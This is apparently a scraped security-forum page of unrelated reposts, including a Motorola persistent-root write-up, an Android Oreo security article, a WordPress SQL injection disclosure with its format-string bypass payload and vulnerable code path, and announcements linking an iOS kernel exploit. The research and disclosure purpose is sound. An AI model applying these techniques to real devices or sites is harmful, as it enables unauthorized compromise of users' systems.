getvar all | grep git (bootloader) sbl1.git: git=MBM-NG-VB0.0E-0-g83950b7 (bootloader) rpm.git: git=a970ead (bootloader) tz.git: git=9fa1804 (bootloader) hyp.git: git=119e5b2-dirty (bootloader) keymaster.git: git=119e5b2-dirty (bootloader) cmnlib.git: git=119e5b2-dirty (bootloader) aboot.git: git=MBM-NG-VB0.0E-0-g4986429 Modifying the system partition (Moto G4 and others) Due to secure boot, modifying the boot and recovery partitions on recent Motorola devices (such as athene & cedric) will cause the boot process to end in the fastboot mode. In order to achieve persistent code execution, the attacker, however, can aim at a different target – the system partition. Such a modification, however, is expected to be both prevented and detected by security controls. First, write-protection is enabled on the system partition (and others) by ABOOT upon boot. Unfortunately, this can be easily circumvented by the attacker by exploiting initroot slightly different – instead of instructing the bootloader to load the platform OS (by issuing fastboot continue), he can load the recovery OS, again, with the malicious initramfsinjected into memory. Since the recovery OS needs write access on the system partition, the bootloader does not enable write-protection when booting into the recovery mode: if ( v5 == BOOTMODE_RECOVERY ) ssm_en_write_protect = 0; if ( ssm_en_write_protect ) { write_protect_partition("system"); write_protect_partition("oem"); LABEL_13: write_protect_utags(); write_protect_partition("sp"); [...] Then, the attacker can simply mount system and modify files. Sadly, although tampering with system can be detected by dm-verity, the fstab file under the Moto G4 boot image (and others), and in contrast to the G5 one, does not specify the verify attribute over the system partition. Controlling system allows the attacker to do much havoc. For example, the attacker now owns the Android runtime, can replace apps with malicious ones, can sideload privileged apps, and more. Conclusion In this blog we showed that having an ephemeral unrestricted root access is sufficient for achieving a persistent (untethered) jailbreak on affected Motorola devices. We demonstrated an end-to-end exploit for such devices, and also presented some other device-specific attacks. Sursa: https://alephsecurity.com/2017/08/30/untethered-initroot/

ANDROID INTELLIGENCE By JR Raphael, Contributing Editor, Computerworld | AUG 29, 2017 10:01 AM PT About | Not your average Android news -- a diverse mix of advice, insight, and analysis with veteran Android journalist JR Raphael. Try it with margarine for a low-cal treat! ANDROID 8.0 OREO Android 8.0 in-depth: Oreo's not-so-obvious security enhancements Some deep-dive details on significant security upgrades headed to your device with Google's Android 8.0 Oreo release. Android 8.0 Oreo Android 8.0: The complete Oreo FAQ When will your phone get Android 8.0? A... How to get Android 8.0 Oreo on your... Oh, Oreo! 8 things to try when you get... Android 8.0 in-depth: Oreo's... When you read about a splashy new software update like Google's fresh-from-the-oven Android 8.0 Oreo release, you tend to hear mostly about the marquee features — the most attention-grabbing elements and refinements you're likely to notice when you get the update on your own device. It's understandable, since those are the things we all see most immediately and directly. Beneath the surface, though, Oreo has some pretty significant stuff going on in the realm of security — stuff that hasn't been widely covered but is as important as anything else to understand. Some of it's fairly technical and much of it's the sort of info you'd probably never encounter if you didn't frequent developer-targeted talks and forums. But all of it affects your phone's ability to keep you safe from theoretical threats — and all of it is worthwhile to be aware of. Here are the high points, translated from mumbo jumbo into practical, plain-English terms. Android 8.0 security point #1: Oreo changes some things about permissions. Whenever you install a new app, you grant it permission to access certain types of data and perform certain types of functions on your device. (You know when you first run an app, and it shows you a bunch of info — all those prompts you hit "OK" on without paying close attention? Yeah, that's the stuff.) With Oreo, Android is rethinking a couple of those permissions and scaling back what apps are allowed to do. Up first is a permission for generating something called a System Alert Window. It's ostensibly for displaying, y'know, system alerts — but over time, it's been adopted for a variety of other overlay-oriented purposes. Some apps use it to provide picture-in-picture-like elements that float on top of other apps, for instance, while password management utilities have traditionally used it to generate pop-up boxes for filling in forms across the operating system. That's all well and good, but Google realized the same System Alert Window permission actually raised the potential for abuse. Randomware apps could essentially use it to take over your screen and trick you into providing sensitive info or clicking on questionable links to escape. [ To comment on this story, visit Computerworld's Facebook page. ] Oreo addresses this by introducing some new System Alert Window limits. Specifically, the contents of such windows can no longer cover up critical areas of your screen like your status bar or lock screen, and a new persistent notification now appears whenever an overlay is present so you always have a built-in way to dismiss it and move on. Another long-standing Android permission, Device Admin, is also being restricted as of Oreo so that apps can no longer use it to prevent themselves from being uninstalled or to alter your system password — again, with the goal of reducing the potential for abuse by any ill-intending apps. So why did the broader versions of the permissions stick around for so long? That's what I wondered, too. I had the chance to ask Xiaowen Xin, Google's product manager for Android platform security. Xin says that in some cases, Google recognized the legitimate ways developers wanted to use the permissions and wanted to make sure those use-cases were covered — by implementing a proper picture-in-picture option and native auto-fill function, in the case of Oreo and the System Alert Window — before introducing any limits. "Android comes from a stance of trying to be more open, and we're trying to provide APIs that in some cases are for power users," Xin explains. "It's a constant challenge for us and that's unique to Android of balancing how to protect users and [yet still providing advanced] functionality." Android 8.0 security point #2: Oreo checks itself in some wild new ways. Android has had a Verified Boot system since 2013, when KitKat was the name of the day. From its beginning, the system has checked your phone's software every time your device starts up to make sure everything's in proper working order. With Oreo, the system is expanding: In addition to performing the standard startup checks, Android's Verified Boot feature will now prevent your device from starting if it's been rolled back to an older and thus less secure version of the operating system. Why? Simple: Such protection would prevent anyone from taking control of your device and manually downgrading you to a previous version of Android in order to exploit an old bug that's patched in the more current version. "Once you reboot, you'd actually be clean again — so any exploit would no longer be running on your phone," Xin says. Oreo also supports the ability for the secure hardware area of a device to generate a statement guaranteeing that the system has passed that Verified Boot check and has a reasonably recent Android security patch. That could be utilized by something like a bank — to ensure a device hasn't been compromised before granting access to a customer — or even an enterprise, to confirm with near-certainty that its employees' phones are secure. Android 8.0 security point #3: Oreo can use a credit-card-like chip to secure your sign-in info. Ready for more? Oreo introduces support for new tamper-resistant hardware — so basically, the same sort of chip that stores sensitive info in a modern credit card could store your PIN, pattern or password on a future Android phone. That info is already stored in an area known as the Secure Element, but moving it to the chip makes it even more difficult for someone to perform a physical attack on your device and get around your lock screen. So what about fingerprint data? That's precisely what I wondered, too. (You and I are just on the same page today, aren't we? We really oughta hang out more often.) Turns out biometric security info like your pawprints aren't included in the new chip-based system — because the tradeoff of the system's added security is reduced speed. In other words, it's slower than the regular method of authentication, and Google doesn't want you to have to wait multiple seconds for your pointer to be recognized. But for an enterprise scenario where bulletproof security trumps everything else in importance, it's easy to see how this capability could be beneficial. Android 8.0 security point #4: Oreo gets (even more) serious about sandboxing. This isn't the playground kind of sandbox fun (though if you're reading this while in a sandbox, kudos to you, sir and/or madam). Android has long utilized sandboxing to keep different parts of the operating system in their own isolated areas — so that if something does manage to infect one part of the software, it won't be able to reach another. With Oreo, the effort expands on a few different levels. First, there's Project Treble — you've heard of it, right? Treble isolates the device-independent parts of the operating system from the device-dependent parts of the operating system. Much of the focus thus far has revolved around how this separation could (theoretically, with some asterisks) make it easier for manufacturers to process and send out Android OS updates, but there's an equally important factor in its effect on security. Remember? Sandboxing. "If you have an exploit in one [area], it's now harder for that to affect a different part of the operating system," Xin says. Android 8.0 also sandboxes apps more closely with something called a seccomp filter (gesundheit!). For the non-engineers among us, the short version is that this makes it more difficult for a naughty app to do anything dangerous to the kernel — the operating system's brain or command center, in the simplest possible terms — by limiting the ways in which apps can interact directly with it. (If you want the full technical version, you can find it here. Godspeed.) Last but not least, Android's WebView function — which allows developers to show you web-based content within their apps — moves to its own separate process as of Oreo. That means if you run into some sort of web-based bug while viewing a site within an app, it shouldn't be able to reach or affect any other areas of the operating system. Sandboxing. Again. Got all that? Good. Let's move on. Android 8.0 security point #5: Oreo enhances encryption for the enterprise. This point's relatively minor, but if you're using Android in an enterprise environment, it's significant: As of Android 8.0, all devices use a different key for encrypting personal profiles and work profiles. And beyond that, the device administrator has the ability to activate the work profile key remotely and make sure work data is fully secured anytime, anywhere. Oh, and a tantalizing tease: Google is working on "a lot more" with encryption for 2018's Android P release, Xin says. So stay tuned. Android 8.0 security point #6: Oreo natively supports two-factor authentication keys. Last but not least: If you're using two-factor authentication to protect your accounts (and you absolutely should be — c'mon!), Oreo allows you to use a physical security key as your second form of authentication. Just connect your key to your Android device via Bluetooth, NFC or USB, and you won't have to find and input the usual two-factor code when you sign into a secured account. The asterisk is that this is available via a new API — so that means it'll be up to individual apps to support it as a feature, and you won't find many places where it'll work just yet. Long-term, though, it could be a relevant addition for security-minded users who don't mind carrying an extra contraption for convenience. And a bonus: This update is actually being delivered via Google Play Services, so it'll apply to devices running software all the way back to Android 5.0 (Lollipop) or higher. Google tells me it'll eventually be supported at the system level, too, for adding two-factor-protected Google accounts onto your device. From a bigger picture perspective, of course, Android security is a puzzle with lots of moving pieces. All the stuff we're talking about here works alongside a multilayered system for scanning and protection — one that's present and functional on practically every reasonably recent Android device — and is supplemented by monthly security patches to fill in the gaps between OS releases. When it comes to both security and mobile software, the evolution never ends. [Android 8.0: The complete Oreo FAQ] Sursa: https://www.computerworld.com/article/3220446/android/android-8-oreo-security.html

"Sistem auxiliar"? Da, o mizerie nenorocita cu rol de monitorizare si acces de la distanta.

Publicat pe 28 sept. 2014 Bitcoins are mined using a cryptographic algorithm called SHA-256. This algorithm is simple enough to be done with pencil and paper, as I show in this video. Not surprisingly, this is a thoroughly impractical way to mine. One round of the algorithm takes 16 minutes, 45 seconds which works out to a hash rate of 0.67 hashes per day.

Payloads All The Things A list of useful payloads and bypasses for Web Application Security. Feel free to improve with your payloads and techniques ! I <3 pull requests Tools Kali Linux Web Developper Hackbar Burp Proxy Fiddler DirBuster GoBuster Knockpy SQLmap Nikto Nessus Recon-ng Wappalyzer Metasploit Docker docker pull remnux/metasploit - docker-metasploit docker pull paoloo/sqlmap - docker-sqlmap docker pull kalilinux/kali-linux-docker official Kali Linux docker pull owasp/zap2docker-stable - official OWASP ZAP docker pull wpscanteam/wpscan - official WPScan docker pull infoslack/dvwa - Damn Vulnerable Web Application (DVWA) docker pull danmx/docker-owasp-webgoat - OWASP WebGoat Project docker image docker pull opendns/security-ninjas - Security Ninjas docker pull ismisepaul/securityshepherd - OWASP Security Shepherd docker-compose build && docker-compose up - OWASP NodeGoat docker pull citizenstig/nowasp - OWASP Mutillidae II Web Pen-Test Practice Application docker pull bkimminich/juice-shop - OWASP Juice Shop More resources Book's list: Web Hacking 101 OWASP Testing Guide v4 Penetration Testing: A Hands-On Introduction to Hacking The Hacker Playbook 2: Practical Guide to Penetration Testing The Mobile Application Hacker’s Handbook Black Hat Python: Python Programming for Hackers and Pentesters Metasploit: The Penetration Tester's Guide The Database Hacker's Handbook, David Litchfield et al., 2005 The Shellcoders Handbook by Chris Anley et al., 2007 The Mac Hacker's Handbook by Charlie Miller & Dino Dai Zovi, 2009 The Web Application Hackers Handbook by D. Stuttard, M. Pinto, 2011 iOS Hackers Handbook by Charlie Miller et al., 2012 Android Hackers Handbook by Joshua J. Drake et al., 2014 The Browser Hackers Handbook by Wade Alcorn et al., 2014 The Mobile Application Hackers Handbook by Dominic Chell et al., 2015 Car Hacker's Handbook by Craig Smith, 2016 Blogs/Websites http://blog.zsec.uk/101-web-testing-tooling/ https://blog.innerht.ml https://blog.zsec.uk https://www.exploit-db.com/google-hacking-database https://www.arneswinnen.net https://forum.bugcrowd.com/t/researcher-resources-how-to-become-a-bug-bounty-hunter/1102 Youtube Hunting for Top Bounties - Nicolas Grégoire BSidesSF 101 The Tales of a Bug Bounty Hunter - Arne Swinnen Security Fest 2016 The Secret life of a Bug Bounty Hunter - Frans Rosén Practice Root-Me Zenk-Security W3Challs NewbieContest Vulnhub The Cryptopals Crypto Challenges Penetration Testing Practice Labs alert(1) to win Hacksplaining HackThisSite PentesterLab : Learn Web Penetration Testing: The Right Way Bug Bounty HackerOne BugCrowd Bounty Factory List of Bounty Program Sursa: https://github.com/swisskyrepo/PayloadsAllTheThings

slavco Aug 22 Wordpress SQLi There won’t be an intro, let us jump to the problem. This is the wordpress database abstraction prepare method code: public function prepare( $query, $args ) { if ( is_null( $query ) ) return; // This is not meant to be foolproof — but it will catch obviously incorrect usage. if ( strpos( $query, ‘%’ ) === false ) { _doing_it_wrong( ‘wpdb::prepare’, sprintf( __( ‘The query argument of %s must have a placeholder.’ ), ‘wpdb::prepare()’ ), ‘3.9.0’ ); } $args = func_get_args(); array_shift( $args ); // If args were passed as an array (as in vsprintf), move them up if ( isset( $args[0] ) && is_array($args[0]) ) $args = $args[0]; $query = str_replace( “‘%s’”, ‘%s’, $query ); // in case someone mistakenly already singlequoted it $query = str_replace( ‘“%s”’, ‘%s’, $query ); // doublequote unquoting $query = preg_replace( ‘|(?<!%)%f|’ , ‘%F’, $query ); // Force floats to be locale unaware $query = preg_replace( ‘|(?<!%)%s|’, “‘%s’”, $query ); // quote the strings, avoiding escaped strings like %%s array_walk( $args, array( $this, ‘escape_by_ref’ ) ); return @vsprintf( $query, $args ); } From the code there are 2 interesting unsafe PHP practices that could guide towards huge vulnerabilities towards wordpress system. Before we jump to the SQLi case I’ll cover another issue. This issue is rised from following functionality: if ( isset( $args[0] ) && is_array($args[0]) ) $args = $args[0]; This means that if you have something like this: $wpdb->prepare($sql, $input_param1, $sanitized_param2, $sanitized_param3); then if you control the $input_param1 e.g. is part of the $input_param1 = $_REQUEST[“input”], this means that you can add your own values for the remaining parameters. This could mean nothing in some cases, but in some cases could easy lead to RCE having on mind nature and architecture of the wp itself. SQLi vulnerability In order to achieve SQLi in wp framework based on this prepare method we must know how core PHP function of this method works. It is vspritfwhich is in fact sprintf. This means that $query is format string and $args are parameters => directives in the format string define how the args will be placed in the format string e.g. query. Very, very important feature of sprintf are swapping arguments :) As extra there we have the following lines of code: $query = str_replace( “‘%s’”, ‘%s’, $query ); // in case someone mistakenly already singlequoted it $query = str_replace( ‘“%s”’, ‘%s’, $query ); // doublequote unquoting e.g. will replace any %s into '%s'. From everything above we got following conclusion: If we are able to put into $query some string that will hold %1$%s then we can salute our SQLi => after prepare method is called then we will have an extra 'into query, because %1$%s will become %1$'%s' and after sprintf will become $arg[1]'. For now this is just theory and most probably improper usage of the prepare method, but if we find something interesting in the wp core than nobody could blame the lousy developers who don’t follow coding standards and recomendations from the API docs. Most interesting function is delete_metadata function and this function perform the desired actions from description above and when it is called with all of the 5 parameters set and $meta_value != “” and $delete_all = true; then we have our working POC e.g. if ( $delete_all ) { $value_clause = ‘’; if ( ‘’ !== $meta_value && null !== $meta_value && false !== $meta_value ) { $value_clause = $wpdb->prepare( “ AND meta_value = %s”, $meta_value ); } $object_ids = $wpdb->get_col( $wpdb->prepare( “SELECT $type_column FROM $table WHERE meta_key = %s $value_clause”, $meta_key ) ); } $value_clause will hold our input, but we need to be sure $meta_valuealready exists in the DB in order this SQLi vulnerable snippet is executed — remember this one. This delete_metadata function called with desired number of parameters is called in wp_delete_attachment function and this function is called in wp-admin/upload.php where $post_id_del input is value taken directly from $_REQUEST. Let us check the wp_delete_attachment function and its constraints before we reach the desired line e.g. delete_metadata( ‘post’, null, ‘_thumbnail_id’, $post_id, true );. The only obstacle that prevents this code to be executed is the following: if ( !$post = $wpdb->get_row( $wpdb->prepare(“SELECT * FROM $wpdb->posts WHERE ID = %d”, $post_id) ) ) return $post; but again due the nature of sprintf and %d directive we have bypass => attachment_post_id %1$%s your sql payload. Here I’ll stop for today (see you tomorrow with part 2: https://medium.com/websec/wordpress-sqli-poc-f1827c20bf8e), because in order authenticated user that have permission to create posts to execute successful SQLi attack need to insert the attachment_post_id %1$%s your sql payload as _thumbnail_id meta value. Fast fix for this use case (if you allow `author` or bigger role to your wp setup): At the top of the wp_delete_attachment function, right after global $wpdb;add the following line: $post_id = (int) $post_id; Impact for the wp eco system This unsafe method have quite huge impact towards wp eco system. There are affected plugins. Some of them already were informed and patched their issues, some of them put credits, some not. Another ones have pushed `silent` patches, but no one cares regarding safety of all. In the next writings of this topic I’ll release most common places/practices where issues like this ones occurs and will release the vulnerable core methods beside pointed one, so everyone can help this issue being solved. Responsible disclosure This approach is more than responsible disclosure and I’ll reffer to the paragraph for the impact and this H1 report https://hackerone.com/reports/179920 Promo If you are wp developer or wp host provider or wp security product provider with valuable list of clients, we offer subscription list and we are exceptional (B2B only). Sursa: https://medium.com/websec/wordpress-sqli-bbb2afcc8e94

Primii speakeri: https://def.camp/speakers/

@aelius

Sources: https://github.com/doadam/ziVA https://blog.zimperium.com/ziva-video-audio-ios-kernel-exploit/ ziVA An iOS kernel exploit designated to work on all 64-bit iOS devices <= 10.3.1 More general information https://blog.zimperium.com/zimperium-zlabs-ios-security-advisories/ https://blog.zimperium.com/ziva-video-audio-ios-kernel-exploit/ Offsets modifications for other iOS devices Like a lot (if not most) of the iOS kernel exploits, this also requires offsets for each iOS device and version. Those will be posted in the close future (when I get more time) but should be acquired from AppleAVEDriver (you can get a hint on the offsets from the comments above them). Sandbox escape Like mentioned, AppleAVEDriver direct access requires sandbox escape (either mediaserverd sandbox context or no sandbox at all). Fortunately, Sandbox escape exploits have been released by P0, which means this can be used to completely compromise a kernel, and a step towards a full jailbreak. Is it a Jailbreak? This is a crucial part in a Jailbreak chain, but this never aimed to become a Jailbreak. Is this going to be a jailbreak? Maybe, if someone wants to work on that Credits Credit for finding the vulnerabilities, chaining them together, writing the exploit go to Adam Donenfeld (@doadam). Special thanks to Zuk Avraham (@ihackbanme), Yaniv Karta (@shokoluv) and the rest of the Zimperium team for the opportunity (and the paycheck). Proof of Concept: https://github.com/doadam/ziVA https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42555.zip Sursa: https://www.exploit-db.com/exploits/42555/

Se pare ca mai sunt vreo 2 locuri, daca e cineva interesat sa prezinte: https://www.owasp.org/index.php/OWASP_Bucharest_AppSec_Conference_2017

Da, e foarte detaliat, recomand.

Table of ContentsVisual/Mechanical Inspection 2 •Service Eligibility 2 •Swollen Battery 3 .•Display Modification 3 •Liquid Contact 4 •Debris or Corrosion 6 •Enclosure Wear 6 iPhone 6 Hardware Overview 7 iPhone 6 Plus Hardware Overview 9 iPhone 6s Hardware Overview 11 iPhone 6s Plus Hardware Overview 13 iPhone 7 Hardware Overview 15 iPhone 7 Plus Hardware Overview 17 Service Eligibility Guidelines 19 Model Numbers and Configuration Codes 20 Download: https://www.dropbox.com/s/igvowila1q317ys/070-00167-I_EN.pdf?dl=0

./ban